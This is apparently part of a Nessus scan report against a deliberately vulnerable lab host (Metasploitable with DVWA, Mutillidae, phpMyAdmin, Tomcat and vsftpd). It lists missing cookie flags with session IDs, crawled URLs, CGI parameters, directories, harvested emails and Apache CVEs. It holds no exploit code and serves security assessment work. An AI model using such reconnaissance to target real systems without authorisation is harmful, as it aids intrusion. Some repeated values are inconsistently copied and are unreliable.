If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

Risk Factor

None

References

| | |
|------|---------|
| XREF | CWE:20 |
| XREF | CWE:74 |
| XREF | CWE:79 |
| XREF | CWE:442 |
| XREF | CWE:629 |
| XREF | CWE:711 |
| XREF | CWE:712 |
| XREF | CWE:722 |
| XREF | CWE:725 |
| XREF | CWE:750 |
| XREF | CWE:751 |
| XREF | CWE:800 |
| XREF | CWE:801 |

| | |
|------|---------|
| XREF | CWE:809 |
| XREF | CWE:811 |
| XREF | CWE:864 |
| XREF | CWE:900 |
| XREF | CWE:928 |
| XREF | CWE:931 |
| XREF | CWE:990 |

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

The following cookies do not set the HttpOnly cookie flag :

Name : JSESSIONID
Path : /admin
Value : B09E222100042EB9D7150F78C09E0D67
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : showhints
Path : /
Value : 0
Domain :
Version : 1
Expires :

Comment :
Secure : 0
Httponly : 0
Port :

Name : JSESSIONID
Path : /jsp-examples
Value : ABFBDC3FAC125B33FD0D014C6928E829
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : PHPSESSID
Path : /
Value : 73c947e50c598d1fc6bfaffa298b813e
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : JSESSIONID
Path : /servlets-examples
Value : E8F70764EF0DD316D83A29C70E6EC4F6
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

See Also

<https://www.owasp.org/index.php/HttpOnly>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

Risk Factor

None

References

| | |
|------|---------|
| XREF | CWE:20 |
| XREF | CWE:74 |
| XREF | CWE:79 |
| XREF | CWE:442 |
| XREF | CWE:629 |
| XREF | CWE:711 |
| XREF | CWE:712 |
| XREF | CWE:722 |
| XREF | CWE:725 |
| XREF | CWE:750 |
| XREF | CWE:751 |
| XREF | CWE:800 |
| XREF | CWE:801 |

| | |
|------|---------|
| XREF | CWE:809 |
| XREF | CWE:811 |
| XREF | CWE:864 |
| XREF | CWE:900 |
| XREF | CWE:928 |
| XREF | CWE:931 |
| XREF | CWE:990 |

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/8180/www

The following cookies do not set the HttpOnly cookie flag :

Name : JSESSIONID
Path : /admin
Value : B09E222100042EB9D7150F78C09E0D67
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : showhints
Path : /
Value : 0
Domain :
Version : 1
Expires :

Comment :
Secure : 0
Httponly : 0
Port :

Name : JSESSIONID
Path : /jsp-examples
Value : ABFBDC3FAC125B33FD0D014C6928E829
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : PHPSESSID
Path : /
Value : 73c947e50c598d1fc6bfa298b813e
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : JSESSIONID
Path : /servlets-examples
Value : E8F70764EF0DD316D83A29C70E6EC4F6
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Synopsis

HTTP session cookies might be transmitted in cleartext.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

See Also

<https://www.owasp.org/index.php/SecureFlag>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

Risk Factor

None

References

| | |
|------|---------|
| XREF | CWE:522 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

The following cookies do not set the secure cookie flag :

Name : JSESSIONID
Path : /admin
Value : B09E222100042EB9D7150F78C09E0D67
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : showhints
Path : /
Value : 0
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : JSESSIONID
Path : /jsp-examples
Value : ABFBD3FAC125B33FD0D014C6928E829
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : PHPSESSID
Path : /
Value : 73c947e50c598d1fc6bfaffa298b813e
Domain :
Version : 1
Expires :

Comment :
Secure : 0
Httponly : 0
Port :

Name : phpMyAdmin
Path : /phpMyAdmin/
Value : 1be2c577dcd95450082e1c53add7811cbaee9f45
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Wed, 05-Jan-2022 20:56:31 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Wed, 05-Jan-2022 20:56:31 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : JSESSIONID
Path : /servlets-examples
Value : E8F70764EF0DD316D83A29C70E6EC4F6
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : security
Path : /
Value : high
Domain :

```
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

Synopsis

HTTP session cookies might be transmitted in cleartext.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

See Also

<https://www.owasp.org/index.php/SecureFlag>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

Risk Factor

None

References

| | |
|------|---------|
| XREF | CWE:522 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/8180/www

The following cookies do not set the secure cookie flag :

Name : JSESSIONID
Path : /admin
Value : B09E222100042EB9D7150F78C09E0D67
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : showhints
Path : /
Value : 0
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : JSESSIONID
Path : /jsp-examples
Value : ABFBD3FAC125B33FD0D014C6928E829
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : PHPSESSID
Path : /
Value : 73c947e50c598d1fc6bfaffa298b813e
Domain :
Version : 1
Expires :

Comment :
Secure : 0
Httponly : 0
Port :

Name : phpMyAdmin
Path : /phpMyAdmin/
Value : 1be2c577dcd95450082e1c53add7811cbaee9f45
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Wed, 05-Jan-2022 20:56:31 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Wed, 05-Jan-2022 20:56:31 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : JSESSIONID
Path : /servlets-examples
Value : E8F70764EF0DD316D83A29C70E6EC4F6
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : security
Path : /
Value : high
Domain :

```
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

Synopsis

An application was found that may use CGI parameters to control sensitive information.

Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

** This plugin only reports information that may be useful for auditors

** or pen-testers, not a real flaw.

Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

Risk Factor

None

Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Potentially sensitive parameters for CGI /mutillidae/index.php :  
password : Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack  
  
Potentially sensitive parameters for CGI /dvwa/login.php :  
password : Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack
```


Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

Description

The remote web server contains linkable content that can be used to gather information about a target.

See Also

<http://www.nessus.org/u?5496c8d9>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

Plugin Output

tcp/80/www

The following sitemap was created from crawling linkable content on the target host :

- <http://192.168.1.209/>
- <http://192.168.1.209/dav/>
- <http://192.168.1.209/dvwa/dvwa/>
- <http://192.168.1.209/dvwa/dvwa/css/>
- <http://192.168.1.209/dvwa/dvwa/css/help.css>
- <http://192.168.1.209/dvwa/dvwa/css/login.css>
- <http://192.168.1.209/dvwa/dvwa/css/main.css>
- <http://192.168.1.209/dvwa/dvwa/css/source.css>
- <http://192.168.1.209/dvwa/dvwa/images/>
- <http://192.168.1.209/dvwa/dvwa/images/RandomStorm.png>
- <http://192.168.1.209/dvwa/dvwa/images/dollar.png>
- <http://192.168.1.209/dvwa/dvwa/images/lock.png>
- http://192.168.1.209/dvwa/dvwa/images/login_logo.png
- <http://192.168.1.209/dvwa/dvwa/images/logo.png>
- <http://192.168.1.209/dvwa/dvwa/images/spanner.png>
- <http://192.168.1.209/dvwa/dvwa/images/warning.png>
- <http://192.168.1.209/dvwa/dvwa/includes/>
- <http://192.168.1.209/dvwa/dvwa/includes/DBMS/>
- <http://192.168.1.209/dvwa/dvwa/includes/DBMS/DBMS.php>
- <http://192.168.1.209/dvwa/dvwa/includes/DBMS/MySQL.php>
- <http://192.168.1.209/dvwa/dvwa/includes/dvwaPage.inc.php>
- <http://192.168.1.209/dvwa/dvwa/includes/dvwaPhpIds.inc.php>

```
- http://192.168.1.209/dvwa/dvwa/js/  
- http://192.168.1.209/dvwa/dvwa/js/dvwaPage.js  
- http://192.168.1.209/dvwa/login.php  
- http://192.168.1.209/mutillidae/  
- http://192.168.1.209/mutillidae/?page=add-to-your-blog.php  
- http://192.168.1.209/mutillidae/?page=credits.php  
- http://192.168.1.209/mutillidae/?page=login.php  
- http://192.168.1.209/mutillidae/?page=register.php  
- http://192.168.1.209/mutillidae/?page=show-log.php  
- http://192.168.1.209/mutillidae/?page=source-viewer.php  
- http://192.168.1.209/mutillidae/?page=text-file-viewer.php  
- http://192.168.1.209/mutillidae/?page=view-someones-blog.php  
- http://192.168.1.209/mutillidae/documentation/  
- http://192.168.1.209/mutillidae/documentation/Mutillidae-Test-Scripts.txt  
- http://192.168.1.209/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-  
network.php  
- http:// [...]
```

Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

Description

The remote web server contains linkable content that can be used to gather information about a target.

See Also

<http://www.nessus.org/u?5496c8d9>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

Plugin Output

tcp/8180/www

The following sitemap was created from crawling linkable content on the target host :

- <http://192.168.1.209:8180/>
- <http://192.168.1.209:8180/RELEASE-NOTES.txt>
- <http://192.168.1.209:8180/admin/>
- <http://192.168.1.209:8180/admin/error.jsp>
- http://192.168.1.209:8180/admin/j_security_check
- <http://192.168.1.209:8180/jsp-examples/>
- <http://192.168.1.209:8180/jsp-examples/cal/Entries.java.html>
- <http://192.168.1.209:8180/jsp-examples/cal/Entry.java.html>
- <http://192.168.1.209:8180/jsp-examples/cal/TableBean.java.html>
- <http://192.168.1.209:8180/jsp-examples/cal/cal1.jsp>
- <http://192.168.1.209:8180/jsp-examples/cal/cal1.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/cal/cal2.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/cal/calendar.html>
- <http://192.168.1.209:8180/jsp-examples/cal/login.html>
- <http://192.168.1.209:8180/jsp-examples/checkbox/CheckTest.html>
- <http://192.168.1.209:8180/jsp-examples/checkbox/check.html>
- <http://192.168.1.209:8180/jsp-examples/checkbox/checkresult.jsp>
- <http://192.168.1.209:8180/jsp-examples/checkbox/checkresult.jsp.html>
- <http://192.168.1.209:8180/jsp-examples/checkbox/cresult.html>
- <http://192.168.1.209:8180/jsp-examples/colors/ColorGameBean.html>
- <http://192.168.1.209:8180/jsp-examples/colors/clr.html>
- <http://192.168.1.209:8180/jsp-examples/colors/colors.html>

```
- http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp
- http://192.168.1.209:8180/jsp-examples/colors/colrs.jsp.html
- http://192.168.1.209:8180/jsp-examples/dates/date.html
- http://192.168.1.209:8180/jsp-examples/dates/date.jsp
- http://192.168.1.209:8180/jsp-examples/dates/date.jsp.html
- http://192.168.1.209:8180/jsp-examples/error/er.html
- http://192.168.1.209:8180/jsp-examples/error/err.jsp
- http://192.168.1.209:8180/jsp-examples/error/err.jsp.html
- http://192.168.1.209:8180/jsp-examples/error/error.html
- http://192.168.1.209:8180/jsp-examples/forward/forward.jsp
- http://192.168.1.209:8180/jsp-examples/forward/forward.jsp.html
- http://1 [...]
```

Synopsis

The remote web server contains a graphic image that is prone to information disclosure.

Description

The 'favicon.ico' file found on the remote web server belongs to a popular web server. This may be used to fingerprint the web server.

Solution

Remove the 'favicon.ico' file or create a custom one for your site.

Risk Factor

None

Plugin Information

Published: 2005/10/28, Modified: 2020/06/12

Plugin Output

tcp/8180/www

```
MD5 fingerprint : 4644f2d45601037b8423d45e13194c93
Web server      : Apache Tomcat or Alfresco Community
```

Synopsis

It is possible to enumerate directories on the web server.

Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

See Also

<http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location>

Solution

n/a

Risk Factor

None

References

XREF OWASP:OWASP-CM-006

Plugin Information

Published: 2002/06/26, Modified: 2021/08/17

Plugin Output

tcp/80/www

```
The following directories were discovered:  
/cgi-bin, /doc, /test, /icons, /phpMyAdmin, /twiki/bin
```

```
While this is not, in and of itself, a bug, you should manually inspect  
these directories to ensure that they are in compliance with company  
security standards
```

Synopsis

It is possible to enumerate directories on the web server.

Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

See Also

<http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location>

Solution

n/a

Risk Factor

None

References

XREF OWASP:OWASP-CM-006

Plugin Information

Published: 2002/06/26, Modified: 2021/08/17

Plugin Output

tcp/8180/www

```
The following directories were discovered:  
/admin, /jsp-examples, /servlets-examples
```

```
While this is not, in and of itself, a bug, you should manually inspect  
these directories to ensure that they are in compliance with company  
security standards
```

```
The following directories require authentication:  
/host-manager/html, /manager/html
```

Synopsis

Email addresses were harvested from the web server.

Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

Plugin Output

tcp/80/www

The following email addresses have been gathered :

- 'SomeWikiName@somewhere.test', referenced from :
/twiki/TWikiHistory.html
- 'mutillidae-development@gmail.com', referenced from :
/mutillidae/index.php?page=credits.php
/mutillidae/?page=credits.php

Synopsis

Email addresses were harvested from the web server.

Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

Plugin Output

tcp/8180/www

The following email addresses have been gathered :

- 'craigmc@apache.org', referenced from :
/tomcat-docs/appdev/printer/index.html
/tomcat-docs/appdev/index.html
/tomcat-docs/appdev/
/tomcat-docs/appdev/printer/
- 'yoavs@apache.org', referenced from :
/tomcat-docs/architecture/printer/
/tomcat-docs/architecture/index.html
/tomcat-docs/architecture/printer/index.html
/tomcat-docs/architecture/
- 'users@tomcat.apache.org', referenced from :
/
- 'jfarca@apache.org', referenced from :
/tomcat-docs/architecture/
/tomcat-docs/architecture/printer/index.html
/tomcat-docs/architecture/printer/
/tomcat-docs/architecture/index.html
- 'fhanik@apache.org', referenced from :
/tomcat-docs/architecture/printer/index.html
/tomcat-docs/architecture/
/tomcat-docs/architecture/printer/
/tomcat-docs/architecture/index.html

```
- 'dev@tomcat.apache.org', referenced from :  
/
```

Synopsis

The remote web server hosts office-related files.

Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

None

Plugin Information

Published: 2003/03/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following office-related files are available on the remote server :
```

- ```
- Adobe Acrobat files (.pdf) :
 /mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
```

### Synopsis

---

The remote web server hosts office-related files.

### Description

---

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

### Solution

---

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

### Risk Factor

---

None

### Plugin Information

---

Published: 2003/03/19, Modified: 2021/01/19

### Plugin Output

---

tcp/8180/www

```
The following office-related files are available on the remote server :
```

- ```
- Adobe Acrobat files (.pdf) :  
  /tomcat-docs/architecture/requestProcess/requestProcess.pdf  
  /tomcat-docs/architecture/startup/serverStartup.pdf
```

Synopsis

The remote web server is not configured or is improperly configured.

Description

The remote web server uses its default welcome page. Therefore, it's probable that this server is not used at all or is serving content that is meant to be hidden.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2018/08/15

Plugin Output

tcp/8180/www

```
The default welcome page is from Tomcat.
```

Synopsis

Nessus can crawl the remote website.

Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/05/04, Modified: 2021/10/19

Plugin Output

tcp/80/www

```
Webmirror performed 1000 queries in 396s (2.0525 queries per second)
```

```
The following CGIs have been discovered :
```

```
+ CGI : /phpMyAdmin/phpmyadmin.css.php
  Methods : GET
  Argument : js_frame
    Value: right
  Argument : nocache
    Value: 2457687151
  Argument : token
    Value: 63ffe2b474d2cd389a5c400655b2a2a6

+ CGI : /phpMyAdmin/index.php
  Methods : POST
  Argument : db
  Argument : lang
  Argument : pma_password
  Argument : pma_username
  Argument : server
    Value: 1
  Argument : table
  Argument : token
    Value: 63ffe2b474d2cd389a5c400655b2a2a6
```

```

+ CGI : /mutillidae/index.php
Methods : GET,POST
Argument : DOMStorageItem
Argument : DOMStorageKey
Argument : SessionStorageType
Value: Local
Argument : ToolID
Argument : add-to-your-blog-php-submit-button
Value: Save Blog Entry
Argument : author
Argument : background_color
Argument : blog_entry
Argument : choice
Value: inSIDDer
Argument : confirm_password
Argument : csrf-token
Value: 13100
Argument : dns-lookup-php-submit-button
Value: Lookup DNS
Argument : do
Value: toggle-security
Argument : forwardurl
Value: http%3A//www.php.net/
Argument : initials
Argument : login-php-submit-button
Value: Login
Argument : my_signature
Argument : page
Value: rene-magritte.php
Argument : password
Argument : password-generator-php-submit-button
Value: Generate
Argument : phpfile
Argument : register-php-submit-button
Value: Create Account
Argument : set-background-color-php-submit-button
Value: Set Background Color
Argument : source-file-viewer-php-submit-button
Value: View File
Argument : target_host
Argument : text-file-viewer-php-submit-button
Value: View File
Argument : textfile
Argument : user-poll-php-submit-button
Value: Submit Vote
Argument : username
Value: anonymous
Argument : view-someones-blog-php-submit-button
Value: View Blog Entries

+ CGI : /mutillidae/
Methods : GET
Argument : page
Value: source-viewer.php

+ CGI : /rdiff/TWiki/TWikiHistory [...]

```

Synopsis

Nessus can crawl the remote website.

Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/05/04, Modified: 2021/10/19

Plugin Output

tcp/8180/www

```
Webmirror performed 554 queries in 326s (1.0699 queries per second)
```

```
The following CGIs have been discovered :
```

```
+ CGI : /jsp-examples/jsp2/el/implicit-objects.jsp
  Methods : GET
  Argument : foo
  Value: bar
```

```
+ CGI : /jsp-examples/jsp2/el/functions.jsp
  Methods : GET
  Argument : foo
  Value: JSP+2.0
```

```
+ CGI : /admin/j_security_check
  Methods : POST
  Argument : j_password
  Argument : j_username
```

```
+ CGI : /jsp-examples/num/numguess.jsp
  Methods : GET
  Argument : guess
```



```
+ CGI : /jsp-examples/error/err.jsp
Methods : GET
Argument : name
Value: audi
Argument : submit
Value: Submit

+ CGI : /jsp-examples/sessions/carts.jsp
Methods : GET
Argument : item
Argument : submit
Value: remove

+ CGI : /jsp-examples/checkbox/checkresult.jsp
Methods : GET
Argument : fruit
Value: melons
Argument : submit
Value: Submit

+ CGI : /jsp-examples/colors/colrs.jsp
Methods : GET,POST
Argument : action
Value: Hint
Argument : color1
Argument : color2

+ CGI : /jsp-examples/cal/call.jsp
Methods : GET
Argument : action
Value: Submit
Argument : email
Argument : name

+ CGI : /servlets-examples/servlet/RequestParamExample
Methods : POST
Argument : firstname
Argument : lastname

+ CGI : /servlets-examples/servlet/CookieExample
Methods : POST
Argument : cookiename
Argument : cookievalue

+ CGI : /servlets-examples/servlet/SessionExample;jsessionid=E8F70764EF0DD316D83A29C70E6EC4F6
Methods : GET,POST
Argument : dataname
Value: foo
Argument : datavalue
Value: bar
```

Synopsis

The remote server is running with WebDAV enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

<http://support.microsoft.com/default.aspx?kbid=241520>

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

Plugin Output

tcp/80/www

Synopsis

Several directories on the remote host are DAV-enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

Disable DAV support if you do not use it.

Risk Factor

None

Plugin Information

Published: 2007/01/11, Modified: 2011/03/14

Plugin Output

tcp/80/www

```
The following directories are DAV enabled :  
- /dav/
```

Synopsis

It was possible to obtain the network name of the remote host.

Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

Plugin Output

udp/137/netbios-ns

```
The following 7 NetBIOS names have been gathered :
```

```
METASPLOITABLE = Computer name
METASPLOITABLE = Messenger Service
METASPLOITABLE = File Server Service
__MSBROWSE__    = Master Browser
WORKGROUP       = Workgroup / Domain name
WORKGROUP       = Master Browser
WORKGROUP       = Browser Service Elections
```

```
This SMB server seems to be a Samba server - its MAC address is NULL.
```

Synopsis

The remote web server hosts a database management application written in PHP.

Description

The remote host is running phpMyAdmin, a web-based MySQL administration tool written in PHP.

See Also

<https://www.phpmyadmin.net/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/02/25, Modified: 2019/11/22

Plugin Output

tcp/80/www

```
The following instance of phpMyAdmin was detected on the remote host :
```

```
Version : 3.1.1
URL      : http://192.168.1.209/phpMyAdmin/
```

Synopsis

An FTP server is listening on the remote port.

Description

The remote host is running vsftpd, an FTP server for UNIX-like systems written in C.

See Also

<http://vsftpd.beasts.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/03/17, Modified: 2019/11/22

Plugin Output

tcp/21/ftp

```
Source   : 220 (vsFTPd 2.3.4)
Version  : 2.3.4
```

192.168.1.210



Scan Information

Start time: Mon Dec 6 15:43:34 2021
End time: Mon Dec 6 15:49:52 2021

Host Information

IP: 192.168.1.210
MAC Address: 00:0C:29:A4:4C:49
OS: Linux Kernel 2.6

Vulnerabilities

150280 - Apache 2.4.x < 2.4.47 Multiple Vulnerabilities

Synopsis

The remote web server is affected by multiple vulnerabilities.

Description

The version of Apache httpd installed on the remote host is prior to 2.4.47. It is, therefore, affected by multiple vulnerabilities as referenced in the 2.4.47 changelog:

- Unexpected <Location> section matching with 'MergeSlashes OFF' (CVE-2021-30641)
- mod_auth_digest: possible stack overflow by one nul byte while validating the Digest nonce. (CVE-2020-35452)
- mod_session: Fix possible crash due to NULL pointer dereference, which could be used to cause a Denial of Service with a malicious backend server and SessionHeader. (CVE-2021-26691)
- mod_session: Fix possible crash due to NULL pointer dereference, which could be used to cause a Denial of Service. (CVE-2021-26690)
- mod_proxy_http: Fix possible crash due to NULL pointer dereference, which could be used to cause a Denial of Service. (CVE-2020-13950)
- Windows: Prevent local users from stopping the httpd process (CVE-2020-13938)

- mod_proxy_wstunnel, mod_proxy_http: Handle Upgradable protocols end-to-end negotiation.
(CVE-2019-17567)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://downloads.apache.org/httpd/CHANGES_2.4

Solution

Upgrade to Apache version 2.4.47 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

| | |
|------|--------------------|
| CVE | CVE-2019-17567 |
| CVE | CVE-2020-13938 |
| CVE | CVE-2020-13950 |
| CVE | CVE-2020-35452 |
| CVE | CVE-2021-26690 |
| CVE | CVE-2021-26691 |
| CVE | CVE-2021-30641 |
| XREF | IAVA:2021-A-0259-S |

Plugin Information

Published: 2021/06/04, Modified: 2021/09/24

